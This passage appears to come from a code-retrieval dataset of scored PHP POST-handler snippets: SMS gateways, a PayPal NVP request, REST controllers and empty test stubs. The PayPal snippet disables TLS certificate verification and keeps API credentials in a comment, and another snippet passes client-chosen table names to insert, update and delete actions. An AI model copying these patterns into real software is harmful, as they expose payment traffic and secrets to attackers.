date('Y-m-d H:i:s');\n $schedule->modifiedbypk = $this->get_user()->user_id;\n $schedule->control_nos = $this->_generate_control();\n \n $this->response($this->_schedule_save($schedule, 'post'));\n }", "title": "" }, { "docid": "4e845b3d70e260fc677e602a7e1fad1a", "score": "0.56007564", "text": "protected function executePost()\n\t{\n\t\tif (!is_string($this->requestBody)) {\n\t\t\t//$this->buildPostBody();\n\t\t}\n\n\t\tcurl_setopt($this->curlHandle, CURLOPT_POSTFIELDS, $this->requestBody);\n\t\tcurl_setopt($this->curlHandle, CURLOPT_POST, 1);\n\n\t\t$this->doExecute();\n\t}", "title": "" }, { "docid": "735d280f81cfb8f70a97bc53981856f6", "score": "0.5573951", "text": "public function postAction()\n {\n // 2096 \t25 \t\tIMPP \t\t\tWORK \t\t1 \t\t\tSkype \t\tskype:gregorharlan\n // 2095 \t25 \t\tX-SOCIALPROFILE \t\t\t0 \t\t\ttwitter \thttp://twitter.com/gregorharlan\n // 1858 \t33 \t\tTEL \t\t\tHOME \t\t0 \t\t\tVOICE \t\t+49-69-48008641\n // 2446 \t29 \t\tTEL \t\t\tWORK,FAX \t0 \t \t\t \t\t\t+49-69-94944262\n\n $address_id = $this->params['main_id'];\n\n if ($address_id > 0) {\n foreach ($this->pz_address_fields as $type => $datas) {\n // delete\n $d = pz_sql::factory();\n // $d->debugsql = 1;\n $d->setQuery('delete from pz_address_field where type = ? and address_id = ? ', [$type, $address_id]);\n\n foreach ($datas as $data) {\n $d = pz_sql::factory();\n // $d->debugsql = 1;\n $d->setTable('pz_address_field');\n $d->setValue('address_id', $address_id);\n $d->setValue('type', $type);\n $d->setValue('label', $data['label']);\n $d->setValue('preferred', $data['preferred']);\n $d->setValue('value_type', $data['value_type']);\n $d->setValue('value', $data['value']);\n $d->insert();\n }\n }\n }\n }", "title": "" }, { "docid": "b8eef84b79d2e280bd68d3ab8c88dd62", "score": "0.5535278", "text": "function Main() {\n filterPost();\n\n //if not login request, need to authenticate with secret\n if ($_POST[\"action\"] != \"login\") {\n $token = authenticateRequest();\n }\n\n include_once './db/model/Users.php';\n include_once './db/model/SMSGateway.php';\n include_once './db/model/Contacts.php';\n include_once './db/model/Messages.php';\n\n if (isset($_POST[\"not_jQuery\"])) {\n $_POST = json_decode($_POST[\"not_jQuery\"], true);\n }\n\n global $db_pier;\n global $db_sms_blast;\n configDB($db_pier, $db_sms_blast);\n\n $_POST = $db_pier->escapeInputDeep($_POST);\n\n\n switch ($_POST[\"action\"]) {\n case \"login\":\n $data = $_POST[\"data\"];\n $user = Users::verifyUser($data[\"user_name\"], $data[\"pass\"]);\n\n $MyJWT = new MyJWT();\n $jwt = $MyJWT->createTokenFromLogin($user[Users::COL_USERNAME], $user[Users::COL_ROLE]);\n\n returnRes(STATUS_OK, $jwt);\n break;\n\n case \"send_message\":\n\n $data = $_POST[\"data\"];\n\n $sms_ids = SMSGateway::sendSMS($data[\"message\"], $data[\"user_name\"]);\n \n if (empty($sms_ids)) {\n $return_data = \"Failed to send message\";\n returnRes(STATUS_NOT_OK, $return_data);\n } else {\n $return_data = array(\"message\" => \"Message Successfully Sent\",\n Messages::COL_SMS_ID => json_encode($sms_ids));\n returnRes(STATUS_OK, $return_data);\n }\n\n break;\n\n case \"insert\" :\n $data = $_POST[\"data\"];\n $table = $data[\"table\"];\n $insertData = $data[\"insertData\"];\n\n //return data handle in this function\n insertData($table, $insertData);\n\n break;\n\n case \"update\":\n $data = $_POST[\"data\"];\n $table = $data[\"table\"];\n $id = $data[\"id\"];\n $updateData = $data[\"updateData\"];\n updateData($table, $id, $updateData);\n break;\n\n case 'delete':\n $data = $_POST[\"data\"];\n $table = $data[\"table\"];\n $id = $data[\"id\"];\n deleteData($table, $id);\n break;\n\n case \"get_message\":\n $data = $_POST[\"data\"];\n $raw = Messages::getMessage($data[\"page\"], $data[\"status\"]);\n $extra = null;\n if ($data[\"page\"] == 1) {\n $extra = array(\"page_limit\" => Messages::PAGE_LIMIT);\n }\n\n\n returnResEscape(STATUS_OK, $raw, $extra);\n break;\n\n case \"get_contacts\":\n $data = $_POST[\"data\"];\n $raw = Contacts::getNumbers(true, $data[\"page\"]);\n $extra = null;\n if ($data[\"page\"] == 1) {\n $extra = array();\n $extra[\"page_limit\"] = Contacts::PAGE_LIMIT;\n $extra[\"total_row\"] = (int) Contacts::getNumberCount()[\"count\"];\n }\n returnResEscape(STATUS_OK, $raw, $extra);\n break;\n\n case \"get_number_count\":\n $data = Contacts::getNumberCount();\n if ($data) {\n returnRes(STATUS_OK, $data);\n } else {\n returnRes(STATUS_NOT_OK, \"Failed to get number count\");\n }\n\n break;\n\n case \"delete_contact\":\n $data = $_POST[\"data\"];\n $raw = Contacts::deleteContact($data[Contacts::COL_ID]);\n if ($raw) {\n returnRes(STATUS_OK, $data);\n } else {\n returnRes(STATUS_NOT_OK, \"Failed to delete contact\");\n }\n\n break;\n\n default:\n returnRes(STATUS_NOT_OK, \"Action not valid\");\n break;\n }\n}", "title": "" }, { "docid": "6e4cbe38da9adecc3f8def766b4d2bd5", "score": "0.5518255", "text": "public function postAction()\n\t{\n\n\t}", "title": "" }, { "docid": "b70901c0418019038767e5145b49e5c8", "score": "0.54951346", "text": "public function pushMessage($postData){\n /** push message start ************************/\n //create an api object\n $currentStoreName = Mage::helper(\"pushmessage\")->getCoreConfig('storename');\n $currentSecret = Mage::helper(\"pushmessage\")->getCoreConfig('secret');\n $api = new ShareRails($currentStoreName, $currentSecret);\n /*** set up the pus data ****/\n //set timestamp\n $api->setTimestamp(time());\n \n $api->setPostData($postData);\n\n //set post data hash\n $postDataHash = $api->getPostDataHash();\n\n //set protocol\n $api->setProtocol('http');\n //set domain\n $api->setDomain(\"www.sharerails.com\");\n\n //set path\n $api->setPath(\"/api/push\");\n //set query\n $currentQuery = array(\n 'app' => $api->getStoreName(),\n \"timestamp\" => $api->getTimestamp(),\n \"datamd5hash\" => $postDataHash\n );\n\n //set Query\n $api->setQuery($currentQuery);\n\n \n //post to api\n $api->post();\n\n }", "title": "" }, { "docid": "fa851249f4e0489ad8b2506b049c9f10", "score": "0.54877067", "text": "public function testOutboundStatPost()\n {\n }", "title": "" }, { "docid": "24891f600be75b3fd39a41d103e6fff1", "score": "0.54821306", "text": "function index_post()\n {\n $key = $this->get('id');\n $record = array_merge(array('id' => $key), $_POST);\n if ($this->validateFormInput($record, false))\n {\n $this->Receiving->add($record);\n $this->response(array('New item created', $record), 200);\n } else\n {\n $this->response(array('Invalid input'), 404);\n }\n //$this->Receiving->add($record);\n //$this->response(array('ok'), 200);\n }", "title": "" }, { "docid": "6d8337d63705ee7b05d1836c4a1b44a5", "score": "0.5467397", "text": "function handlePost()\n {\n // CSRF protection\n $token = $this->trimmed('token');\n if (!$token || $token != common_session_token()) {\n // TRANS: Client error displayed when the session token does not match or is not given.\n $this->showForm(_('There was a problem with your session token. '.\n 'Try again, please.'));\n return;\n }\n\n if ($this->arg('save')) {\n $this->savePreferences();\n } else if ($this->arg('add')) {\n $this->addAddress();\n } else if ($this->arg('cancel')) {\n $this->cancelConfirmation();\n } else if ($this->arg('remove')) {\n $this->removeAddress();\n } else {\n // TRANS: Message given submitting a form with an unknown action in Instant Messaging settings.\n $this->showForm(_('Unexpected form submission.'));\n }\n }", "title": "" }, { "docid": "9412982e8efa44c41d8716f254cb526c", "score": "0.54324573", "text": "public function postNewSmsGateway(Request $request)\n {\n $self = 'add-sms-gateway';\n if (Auth::user()->username !== 'admin') {\n $get_perm = Permission::permitted($self);\n\n if ($get_perm == 'access denied') {\n return redirect('permission-error')->with([\n 'message' => language_data('You do not have permission to view this page'),\n 'message_important' => true\n ]);\n }\n }\n\n $v = \\Validator::make($request->all(), [\n 'gateway_name' => 'required', 'gateway_link' => 'required', 'status' => 'required', 'destination_param' => 'required', 'message_param' => 'required', 'username_param' => 'required', 'username_value' => 'required', 'schedule' => 'required', 'two_way' => 'required'\n ]);\n\n if ($v->fails()) {\n return redirect('sms/add-sms-gateways')->withInput($request->all())->withErrors($v->errors());\n }\n\n $exist_gateway = SMSGateways::where('settings', $request->gateway_name)->first();\n if ($exist_gateway) {\n return redirect('sms/add-sms-gateways')->with([\n 'message' => language_data('Gateway already exist'),\n 'message_important' => true\n ]);\n }\n\n $gateway = new SMSGateways();\n $gateway->name = $request->gateway_name;\n $gateway->settings = $request->gateway_name;\n $gateway->api_link = $request->gateway_link;\n $gateway->schedule = $request->schedule;\n $gateway->custom = 'Yes';\n $gateway->status = $request->status;\n $gateway->type = 'http';\n $gateway->two_way = $request->two_way;\n $gateway->save();\n\n $gateway_id = $gateway->id;\n\n if (is_int($gateway_id)) {\n $cgateway = new CustomSMSGateways();\n $cgateway->gateway_id = $gateway_id;\n $cgateway->username_param = $request->username_param;\n $cgateway->username_value = $request->username_value;\n\n $cgateway->password_param = $request->password_param;\n $cgateway->password_value = $request->password_value;\n $cgateway->password_status = $request->password_status;\n\n $cgateway->action_param = $request->action_param;\n $cgateway->action_value = $request->action_value;\n $cgateway->action_status = $request->action_status;\n\n $cgateway->source_param = $request->source_param;\n $cgateway->source_value = $request->source_value;\n $cgateway->source_status = $request->source_status;\n\n $cgateway->destination_param = $request->destination_param;\n $cgateway->message_param = $request->message_param;\n\n $cgateway->unicode_param = $request->unicode_param;\n $cgateway->unicode_value = $request->unicode_value;\n $cgateway->unicode_status = $request->unicode_status;\n\n $cgateway->route_param = $request->route_param;\n $cgateway->route_value = $request->route_value;\n $cgateway->route_status = $request->route_status;\n\n $cgateway->language_param = $request->language_param;\n $cgateway->language_value = $request->language_value;\n $cgateway->language_status = $request->language_status;\n\n $cgateway->custom_one_param = $request->custom_one_param;\n $cgateway->custom_one_value = $request->custom_one_value;\n $cgateway->custom_one_status = $request->custom_one_status;\n\n $cgateway->custom_two_param = $request->custom_two_param;\n $cgateway->custom_two_value = $request->custom_two_value;\n $cgateway->custom_two_status = $request->custom_two_status;\n\n $cgateway->custom_three_param = $request->custom_three_param;\n $cgateway->custom_three_value = $request->custom_three_value;\n $cgateway->custom_three_status = $request->custom_three_status;\n\n $cgateway->save();\n\n return redirect('sms/http-sms-gateway')->with([\n 'message' => language_data('Custom gateway added successfully')\n ]);\n } else {\n SMSGateways::where('id', $gateway_id)->delete();\n return redirect('sms/add-sms-gateways')->with([\n 'message' => language_data('Parameter or Value is empty'),\n 'message_important' => true\n ]);\n }\n\n }", "title": "" }, { "docid": "112b16a1a772bc8999d824ab440c3754", "score": "0.5423047", "text": "public function postAction() {}", "title": "" }, { "docid": "f86c5bd40cfe889fce0d84f731efce26", "score": "0.5421447", "text": "public function sendToProd_post()\n {\n $data = $_POST;\n $result = $this->manage_workorder_model->sendTo_Prod($data);\n return $this->response($result);\n}", "title": "" }, { "docid": "6243553b08c5df03399a15b98361f511", "score": "0.5419148", "text": "public function addnewpost($pTitle,$pDesc,$pBrandID,$pModelID,$piOS,$pNumSim,$pStateID,$pCityID,$pLocID,$pUserID,$pPostdate,$pUsed,$pmobprice){\n if ($this->_connection === null){\n $this->reconnect();\n }\n \n $conn = $this->_connection;\n $result = $conn->prepare('call sp_addnewpost(:p_vtitle, :p_vdesc, :p_ibrandID,:p_imodelID, :p_iosID, :p_inumSIM, :p_istateID, :p_icityID, :p_ilocalatyID, :p_iuserid, :p_dposteddate, :p_used, :p_mobprice\" )');\n $result->bindParam(\":p_vtitle\",$pTitle, PDO::PARAM_STR);\n $result->bindParam(\":p_vdesc\",$pDesc, PDO::PARAM_STR);\n $result->bindParam(\":p_ibrandID\",$pBrandID, PDO::PARAM_INT);\n $result->bindParam(\":p_imodelID\",$pModelID, PDO::PARAM_INT);\n $result->bindParam(\":p_iosID\",$piOS, PDO::PARAM_INT);\n $result->bindParam(\":p_inumSIM\",$pNumSim, PDO::PARAM_INT);\n $result->bindParam(\":p_istateID\",$pStateID, PDO::PARAM_INT);\n $result->bindParam(\":p_icityID\",$pCityID, PDO::PARAM_INT);\n $result->bindParam(\":p_ilocalatyID\",$pLocID, PDO::PARAM_INT);\n $result->bindParam(\":p_iuserid\",$pUserID, PDO::PARAM_INT);\n $result->bindParam(\":p_dposteddate\",$pPostdate, PDO::PARAM_STR);\n $result->bindParam(\":p_used\",$pUsed, PDO::PARAM_INT);\n $result->bindParam(\":p_mobprice\", $pmobprice, PDO::PARAM_STR);\n $result->execute();\n \n $output = $conn->query('SELECT LAST_INSERT_ID()');\n $returnID = $output->fetchColumn(0);\n \n return $returnID;\n }", "title": "" }, { "docid": "8cd63d7ec2fe38e015e1b1dd86fdf618", "score": "0.53997767", "text": "public function testPostingAPIMoveFbsPostingToArbitration()\n {\n\n }", "title": "" }, { "docid": "563cc721f2bd40758ec69e272e0139ae", "score": "0.539542", "text": "public function testOutboundGetCallListTemplatePost()\n {\n }", "title": "" }, { "docid": "2166a81d85d2320497f5661632e350c0", "score": "0.5392803", "text": "function handlePost()\n {\n $feedid = $this->arg('feed');\n common_log(LOG_INFO, \"POST for feed id $feedid\");\n if (!$feedid) {\n // TRANS: Server exception thrown when referring to a non-existing or empty feed.\n throw new ServerException(_m('Empty or invalid feed id.'), 400);\n }\n\n $feedsub = FeedSub::staticGet('id', $feedid);\n if (!$feedsub) {\n // TRANS: Server exception. %s is a feed ID.\n throw new ServerException(sprintf(_m('Unknown PuSH feed id %s'),$feedid), 400);\n }\n\n $hmac = '';\n if (isset($_SERVER['HTTP_X_HUB_SIGNATURE'])) {\n $hmac = $_SERVER['HTTP_X_HUB_SIGNATURE'];\n }\n\n $post = file_get_contents('php://input');\n\n // Queue this to a background process; we should return\n // as quickly as possible from a distribution POST.\n // If queues are disabled this'll process immediately.\n $data = array('feedsub_id' => $feedsub->id,\n 'post' => $post,\n 'hmac' => $hmac);\n $qm = QueueManager::get();\n $qm->enqueue($data, 'pushin');\n }", "title": "" }, { "docid": "58946019a9a36d2b6be26b0753f169c2", "score": "0.5389747", "text": "public function testPostingAPIFbsPostingDelivered()\n {\n\n }", "title": "" }, { "docid": "c7806b0b68920b3d08d11f876b2e6485", "score": "0.53871644", "text": "public function index_post()\n {\n $data = [\n 'sample' => $this->post('sample'),\n 'description' => $this->post('description'),\n 'email' => $this->post('email'),\n 'telp' => $this->post('telp')\n ];\n \n if ($this->sample->createSample($data) > 0)\n {\n // SUKSES CREATE DATA\n $this->set_response([\n 'status' => true,\n 'message' => 'New Data Success Created ..'\n ], 201); \n } else {\n // GAGAL CREATE DATA\n $this->set_response([\n 'status' => false,\n 'message' => 'Failed create data ..'\n ], 400); \n }\n }", "title": "" }, { "docid": "950f6bc2af9057cc27ca84bab0184bbc", "score": "0.5375566", "text": "private function performShipmentCreationRequest(array $postData): void\n {\n $this->getRequest()->setPostValue($postData)\n ->setMethod(HttpRequest::METHOD_POST);\n $this->dispatch('backend/admin/order_shipment/save');\n }", "title": "" }, { "docid": "00d585502288073e748f92428e7f6ef7", "score": "0.5373607", "text": "public function receivePostRequest();", "title": "" }, { "docid": "3f90dd33b89e20b575e45f433b5294d2", "score": "0.5369314", "text": "public function testPostingAPIFbsPostingDelivering()\n {\n\n }", "title": "" }, { "docid": "4ec596086f4a3f07572d467b09279d02", "score": "0.53646666", "text": "public function testOutboundPauseCampaignPost()\n {\n }", "title": "" }, { "docid": "da6283f6ac48f15f561976899ee441d2", "score": "0.5362503", "text": "protected function post_eventos() {}", "title": "" }, { "docid": "0471ab353dd41ddf9a40f5b255aa4da6", "score": "0.53577614", "text": "function PPHttpPost($methodName_, $nvpStr_ )\n{\n\tglobal $environment;\n global $API_UserName;\n\tglobal $API_Password ;\n\tglobal $API_Signature;\n\t\n\t// Set up your API credentials, PayPal end point, and API version.\n\t\n\t/*\t\n\tAPI Username: \tprem.s_1337667975_biz_api1.dotsquares.com\t\n\tAPI Password: \t1337668017\t\n\tSignature: \tAlzRVwoRKLjoACmkNV-8jkEtv5CNA9R5bPJjopBALo0ZOhLyx5S.XxEa\n\t\n\t$API_UserName = urlencode('prem.s_1337667975_biz_api1.dotsquares.com');\n\t$API_Password = urlencode('1337668017');\n\t$API_Signature = urlencode('AlzRVwoRKLjoACmkNV-8jkEtv5CNA9R5bPJjopBALo0ZOhLyx5S.XxEa');\n\t*/\t\n\t\n\t$API_Endpoint = \"https://api-3t.paypal.com/nvp\";\n\t\n\tif(\"sandbox\" === $environment || \"beta-sandbox\" === $environment) {\n\t\t$API_Endpoint = \"https://api-3t.$environment.paypal.com/nvp\";\n\t}\n\t\n\t$version = urlencode('51.0');\n\n\t// Set the curl parameters.\n\t$ch = curl_init();\n\tcurl_setopt($ch, CURLOPT_URL, $API_Endpoint);\n\tcurl_setopt($ch, CURLOPT_VERBOSE, 1);\n\n\t// Turn off the server and peer verification (TrustManager Concept).\n\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);\n\tcurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);\n\n\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\tcurl_setopt($ch, CURLOPT_POST, 1);\n\n\t// Set the API operation, version, and API signature in the request.\n\t$nvpreq = \"METHOD=$methodName_&VERSION=$version&PWD=$API_Password&USER=$API_UserName&SIGNATURE=$API_Signature$nvpStr_\";\n\n\t// Set the request as a POST FIELD for curl.\n\tcurl_setopt($ch, CURLOPT_POSTFIELDS, $nvpreq);\n\n\t// Get response from the server.\n\t$httpResponse = curl_exec($ch);\n\n\tif(!$httpResponse) {\n\t\texit(\"$methodName_ failed: \".curl_error($ch).'('.curl_errno($ch).')');\n\t}\n\n\t// Extract the response details.\n\t$httpResponseAr = explode(\"&\", $httpResponse);\n\n\t$httpParsedResponseAr = array();\n\tforeach ($httpResponseAr as $i => $value) {\n\t\t$tmpAr = explode(\"=\", $value);\n\t\tif(sizeof($tmpAr) > 1) {\n\t\t\t$httpParsedResponseAr[$tmpAr[0]] = $tmpAr[1];\n\t\t}\n\t}\n\n\tif((0 == sizeof($httpParsedResponseAr)) || !array_key_exists('ACK', $httpParsedResponseAr)) {\n\t\texit(\"Invalid HTTP Response for POST request($nvpreq) to $API_Endpoint.\");\n\t}\n\n\treturn $httpParsedResponseAr;\n}", "title": "" }, { "docid": "06b3deeb3e07e88ccd49a26654e3efab", "score": "0.53497577", "text": "function handlePOSTRequest() {\n if (connectToDB()) {\n if (array_key_exists('insertQueryRequest', $_POST)) {\n handleInsertRequest();\n }\n\n disconnectFromDB();\n }\n }", "title": "" }, { "docid": "7bf7e9a098246859c352772d848cd7b9", "score": "0.5348914", "text": "public function testSendingsSendingIdSubmitPost()\n {\n }", "title": "" }, { "docid": "b6fb5784db42deb7cf3c4ad09aa766b3", "score": "0.5345443", "text": "function handlePOSTRequest() {\n if (connectToDB()){\n if (array_key_exists('signupQueryRequest', $_POST)) {\n handleInsertRequest();\n }\n }\n disconnectFromDB();\n }", "title": "" }, { "docid": "d9efef0308f93f1854691199c52462ff", "score": "0.5343825", "text": "public function testWarehouseTransferOutPOSTRequestPost()\n {\n }", "title": "" }, { "docid": "1215c4e9e0a2abc70e13391b76d65a9b", "score": "0.5335096", "text": "public function post(){\n }", "title": "" }, { "docid": "14b8ac9f7b9a09c82b30ed559bb7dc57", "score": "0.53159165", "text": "public function testPeppolPostSendOrder()\n {\n }", "title": "" }, { "docid": "884c6219bf743175c5b415740d016e02", "score": "0.5301864", "text": "function agent_post()\n { \n $agent = new agent();\n\n $agent->date_created = date('Y-m-d H:i:s');\n $agent->createdbypk = $this->get_user()->user_id;\n $agent->date_modified = date('Y-m-d H:i:s');\n $agent->modifiedbypk = $this->get_user()->user_id;\n $agent->hash = md5(microtime() . uniqid() . date('Y-m-d H:i:s'));\n\n $this->response($this->_agent_save($agent, 'post'));\n }", "title": "" }, { "docid": "ed46ef3d54eedb915874f5dde0d149e5", "score": "0.5297576", "text": "public function launch_postaction() {\n foreach ($this->endpoints as $id => $endpoint) {\n if ($this->is_endpoint($id) && isset($endpoint['callback_postaction'])) {\n call_user_func_array($endpoint['callback_postaction'], array($id));\n break;\n }\n }\n }", "title": "" }, { "docid": "c97331ca08c4b23f8931f11ad0867e23", "score": "0.5286269", "text": "public function post()\n {\n }", "title": "" }, { "docid": "fd187df0632d51a794c3b172f5a36baa", "score": "0.5253926", "text": "public function testPayRunsPost()\n {\n }", "title": "" }, { "docid": "e3ab2c647777a8b14e56ca6084d0b3eb", "score": "0.52481395", "text": "function _buy_post() {\r\n\t\tglobal $wpdb;\r\n\t\t\r\n\t\t//skip updates from IPN: {PPP will be an immediate update} \r\n\t\tif(isset($_POST['ipn_track_id'])) {\r\n\t\t\texit;\r\n\t\t}\r\n\t\t// system\r\n\t\t$system_obj = mgm_get_class('system');\r\n\t\t$dge = bool_from_yn($system_obj->get_setting('disable_gateway_emails'));\r\n\t\t$dpne = bool_from_yn($system_obj->get_setting('disable_payment_notify_emails'));\r\n\r\n\t\t// get passthrough, stop further process if fails to parse\r\n\t\t$custom = $this->_get_transaction_passthrough($_POST['custom']);\r\n\t\t// local var\r\n\t\textract($custom);\r\n\t\t\t\r\n\t\t// set user\r\n\t\t$user = null;\r\n\t\t// check\r\n\t\tif(isset($user_id) && (int)$user_id > 0) $user = get_userdata($user_id);\t\r\n\t\t\r\n\t\t$blogname = get_option('blogname');\r\n\t\t$tran_success = false;\r\n\t\t\r\n\t\t//getting purchase post title and & price - issue #981\t\t\t\t\r\n\t\t$post_obj = mgm_get_post($post_id);\r\n\t\t$purchase_cost = mgm_convert_to_currency($post_obj->purchase_cost);\r\n\t\t$post = get_post($post_id);\r\n\t\t$post_title = $post->post_title;\t\t\r\n\r\n\t\t// errors\r\n\t\t$errors = array();\r\n\t\t// purchase status\r\n\t\t$purchase_status = 'Error';\r\n\t\t// status\r\n\t\t$payment_status = (isset($this->response['PAYMENTINFO_0_PAYMENTSTATUS'])) ? $this->response['PAYMENTINFO_0_PAYMENTSTATUS'] : $this->response['PAYMENTSTATUS'] ;\t\t\r\n\t\t// status\r\n\t\tif($this->status == 'test' && strtoupper($payment_status) == 'PENDING') $payment_status = 'Completed';\r\n\r\n\t\t// process on response code\r\n\t\tswitch ($payment_status) {\r\n\t\t\tcase 'Completed':\t\t\r\n\t\t\tcase 'Processed':\r\n\t\t\t\t// status\r\n\t\t\t\t$status_str = __('Last payment was successful','mgm');\r\n\t\t\t\t// purchase status\r\n\t\t\t\t$purchase_status = 'Success';\r\n\t\t\t\t\r\n\t\t\t\t// transaction id\r\n\t\t\t\t$transaction_id = $this->_get_transaction_id();\r\n\t\t\t\t// hook args\r\n\t\t\t\t$args = array('post_id'=>$post_id, 'transaction_id'=>$transaction_id);\r\n\t\t\t\t// user purchase\r\n\t\t\t\tif(isset($user_id) && (int)$user_id > 0){\r\n\t\t\t\t\t$args['user_id'] = $user_id;\r\n\t\t\t\t}else{\r\n\t\t\t\t// guest purchase\t\r\n\t\t\t\t\t$args['guest_token'] = $guest_token;\r\n\t\t\t\t}\r\n\t\t\t\t// after succesful payment hook\r\n\t\t\t\tdo_action('mgm_buy_post_transaction_success', $args);// backward compatibility\r\n\t\t\t\tdo_action('mgm_post_purchase_payment_success', $args);// new organized name\r\n\t\t\tbreak;\r\n\r\n\t\t\tcase 'Failed':\t\t\t\r\n\t\t\tcase 'Refunded':\t\t\t\r\n\t\t\tcase 'Denied':\t\t\t\r\n\t\t\tcase 'In-Progress':\t\t\t\r\n\t\t\t\t// status\r\n\t\t\t\t$status_str = __('Last payment was refunded or denied','mgm');\r\n\t\t\t\t// purchase status\r\n\t\t\t\t$purchase_status = 'Failure';\r\n\t\t\t\t\r\n \t\t\t\t// error\r\n\t\t\t\t$errors[] = $status_str;\r\n\t\t\tbreak;\r\n\r\n\t\t\tcase 'Pending':\r\n\t\t\t\t// reason\t\t\t\t\r\n\t\t\t\tif(isset($this->response['PAYMENTINFO_0_PENDINGREASON'])) {\r\n\t\t\t\t\t$reason = $this->response['PAYMENTINFO_0_PENDINGREASON'];\r\n\t\t\t\t}else {\r\n\t\t\t\t\t$reason = $payment_status;\r\n\t\t\t\t}\t\r\n\t\t\t\t// status\t\r\n\t\t\t\t$status_str = sprintf(__('Last payment is pending. Reason: %s','mgm'), $reason);\r\n\t\t\t\t// purchase status\r\n\t\t\t\t$purchase_status = 'Pending';\t\r\n\t\t\t\t\r\n \t\t\t\t// error\r\n\t\t\t\t$errors[] = $status_str;\t\r\n\t\t\tbreak;\r\n\r\n\t\t\tdefault:\r\n\t\t\t\t// status\r\n\t\t\t\t$status_str = sprintf(__('Last payment status: %s','mgm'), (isset($payment_status) ? $payment_status : 'Unknown'));\r\n\t\t\t\t// purchase status\r\n\t\t\t\t$purchase_status = 'Unknown';\t\r\n\t\t\t\t\r\n \t\t\t\t// error\r\n\t\t\t\t$errors[] = $status_str;\t\r\n\t\t}\r\n\t\t\r\n\t\t// do action\r\n\t\tdo_action('mgm_return_post_purchase_payment_'.$this->module, array('post_id' => $post_id));// new, individual\r\n\t\tdo_action('mgm_return_post_purchase_payment', array('post_id' => $post_id));// new, global \r\n\t\t\r\n\t\t// set as purchase\r\n\t\t$status = __('Failed join', 'mgm'); //overridden on a successful payment\r\n\t\t// check status\r\n\t\tif ( $purchase_status == 'Success' ) {\r\n\t\t\t// mark as purchased\r\n\t\t\tif( isset($user->ID) ){\t// purchased by user\t\r\n\t\t\t\t// call coupon action\r\n\t\t\t\tdo_action('mgm_update_coupon_usage', array('user_id' => $user_id));\t\t\r\n\t\t\t\t// set as purchased\t\r\n\t\t\t\t$this->_set_purchased($user_id, $post_id, NULL, $_POST['custom']);\r\n\t\t\t}else{\r\n\t\t\t\t// purchased by guest\r\n\t\t\t\tif( isset($guest_token) ){\r\n\t\t\t\t\t// issue #1421, used coupon\r\n\t\t\t\t\tif(isset($coupon_id) && isset($coupon_code)) {\r\n\t\t\t\t\t\t// call coupon action\r\n\t\t\t\t\t\tdo_action('mgm_update_coupon_usage', array('guest_token' => $guest_token,'coupon_id' => $coupon_id));\r\n\t\t\t\t\t\t// set as purchased\r\n\t\t\t\t\t\t$this->_set_purchased(NULL, $post_id, $guest_token, $_POST['custom'], $coupon_code);\r\n\t\t\t\t\t}else {\r\n\t\t\t\t\t\t$this->_set_purchased(NULL, $post_id, $guest_token, $_POST['custom']);\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\t\r\n\t\t\t\r\n\t\t\t// status\r\n\t\t\t$status = __('The post was purchased successfully', 'mgm');\r\n\t\t}\t\t\r\n\t\t\r\n\t\t// transaction status\r\n\t\tmgm_update_transaction_status($_POST['custom'], $status, $status_str);\r\n\t\t\r\n\t\t// blog\r\n\t\t$blogname = get_option('blogname');\t\t\t\r\n\t\t// post being purchased\t\t\t\r\n\t\t$post = get_post($post_id);\r\n\r\n\t\t// notify user, only if gateway emails on\t\r\n\t\tif( ! $dpne ) {\t\t\t\r\n\t\t\t// notify user\r\n\t\t\tif( isset($user->ID) ){\r\n\t\t\t\t// mgm post setup object\r\n\t\t\t\t$post_obj = mgm_get_post($post_id);\r\n\t\t\t\t// check\r\n\t\t\t\tif( $this->send_payment_email($_POST['custom']) ) {\t\r\n\t\t\t\t// check\r\n\t\t\t\t\tif( mgm_notify_user_post_purchase($blogname, $user, $post, $purchase_status, $system_obj, $post_obj, $status_str) ){\r\n\t\t\t\t\t// update as email sent \r\n\t\t\t\t\t\t$this->update_paymentemail_sent($_POST['custom']);\r\n\t\t\t\t\t}\t\r\n\t\t\t\t}\t\t\t\t\t\r\n\t\t\t}\t\t\t\r\n\t\t}\r\n\t\t\r\n\t\t// notify admin, only if gateway emails on\r\n\t\tif ( ! $dge ) {\r\n\t\t\t// notify admin, \r\n\t\t\tmgm_notify_admin_post_purchase($blogname, $user, $post, $status);\r\n\t\t}\r\n\r\n\t\t// if failure:\r\n\t\tif( $purchase_status != 'Success' ) {\r\n\t\t\t$errors = (isset($this->response['L_ERRORCODE0']) && !empty($this->response['L_ERRORCODE0'])) ? \r\n\t\t\t\t\t(urlencode($this->response['L_ERRORCODE0'] . ': ' . $this->response['L_SHORTMESSAGE0'] . ' - ' . $this->response['L_LONGMESSAGE0'])) :\r\n\t\t\t\t\t(__('An error occured while porcessing payment.', 'mgm').': ' . $status_str);\r\n\t\t\t\t\t\r\n\t\t\tmgm_redirect(add_query_arg(array('status'=>'error','errors'=>$errors), $this->_get_thankyou_url())); exit;\r\n\t\t}\r\n\r\n\t\t// default error condition redirect\r\n\t\tif(count($errors)>0){\r\n\t\t\tmgm_redirect(add_query_arg(array('status'=>'error', 'errors'=>implode('|', $errors)), $this->_get_thankyou_url()));\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "7323c7f311703670e4d9a65fc25bdba9", "score": "0.5246681", "text": "public function execute()\n {\n // Load model.\n /* @var $paymentMethod DirectPost */\n $paymentMethod = $this->_objectManager->create('Concordpay\\Payment\\Model\\Concordpay');\n\n // Get request data.\n $callback = json_decode($this->driver->fileGetContents('php://input'), true);\n $data = [];\n foreach ($callback as $key => $val) {\n $data[$key] = $val;\n }\n\n $paymentMethod->processResponse($data);\n }", "title": "" }, { "docid": "fbc349105a3a0a2d51d5fe9711b033ff", "score": "0.5242094", "text": "public function postProcess()\n {\n try {\n $input = Tools::jsonDecode(Tools::file_get_contents('php://input'), true);\n $internalReference = $input['internalReference'];\n $externalReference = $input['externalReference'];\n $status = $input['status'];\n $ecster_order = new EcsterOrder($this->module->config);\n $ecster = $ecster_order->fetch($internalReference)->getResponse();\n $this->ecsterCart = new Cart((int)$externalReference);\n\n if (Tools::strtolower() == \"ready\") {\n if ($this->ecsterCart->OrderExists()) {\n header('HTTP/1.1 200 OK', true, 200);\n exit;\n }\n\n $ecsterOrder = $ecster['order'];\n if ($id_customer = $this->customerExists($ecster['customer'])) {\n $customer = new 